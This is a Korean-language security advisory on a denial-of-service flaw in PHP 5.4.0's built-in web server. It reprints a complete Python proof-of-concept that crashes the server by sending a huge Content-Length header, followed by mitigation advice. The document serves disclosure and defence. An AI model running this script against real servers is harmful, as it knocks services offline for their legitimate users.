Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
PHP에서 원격 서비스 거부 취약성이 발견
공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시켜, 정상 사용자들에 대한 액세스가 거부될 수 있다.
PHP는 웹 개발에 최적화된 범용 스크립트 언어이며, HTML에 삽입될 수 있다.
PHP는 ‘Content-Length’ 헤더에 영향을 주는 원격 서비스 거부 취약성을 갖는다. 특히, 이 취약성은 ‘sapi/cli/php_cli_server.c’ 소스 파일의 ‘pemalloc()’ 함수에 영향을 준다.
공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시킴으로써, 서비스 거부 상태를 발생시킬 수 있다.
PHP 5.4.0 버전이 취약하다; 다른 버전도 영향을 받을 수 있다.
다음 공격 코드가 발표되었다:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
#!/usr/bin/python # Title: PHP 5.4.0 Built-in Web Server DoS PoC # Date: 16 March 2012 # Author: ls (contact@kaankivilcim.com) # Reference: https://bugs.php.net/bug.php?id=61461 # Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV # The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c # on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate # the process with the error message "Out of memory". # # 1537 if (!client->request.content) { # 1538 client->request.content = pemalloc(parser->content_length, 1); # 1539 client->request.content_len = 0; # 1540 } # # PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012 # Listening on 127.0.0.1:80 # Document root is /tmp # Press Ctrl-C to quit. # Out of memory import socket, sys target = "xxx.xxx.xxx.xxx" port = 80; request = "POST / HTTP/1.1\n" request += "Content-Type: application/x-www-form-urlencoded\n" request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target request += "A=B\n\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, port)) except: print "[-] Connection to %s:%s failed!" % (target, port) sys.exit(0) print "[+] Sending HTTP request. Check for crash on target." s.send(request) s.close() |
외부로 서비스를 제공할 필요가 없는 경우, 네트워크 경계에서 외부로부터의 액세스를 차단한다.
가능한, 취약한 소프트웨어를 호스트하고 있는 서버에 대한 외부로부터의 액세스를 차단한다. 내부 또는 신뢰된 네트워크와 컴퓨터에 대해서만 액세스를 허용한다.
네트워크 침입 탐지 시스템을 적용하여 네트워크상의 악의적 활동을 모니터링한다.
NIDS를 적용하여 NOP 명령이나 알 수 없는 내부 또는 외부로 향하는 트래픽이 포함된 요청과 같은 비정상적이거나 수상한 네트워크 트래픽을 모니터링한다. 이러한 네트워크 트래픽은 공격 시도나 성공적인 공격으로 인해 발생하는 활동을 나타낼 수 있다.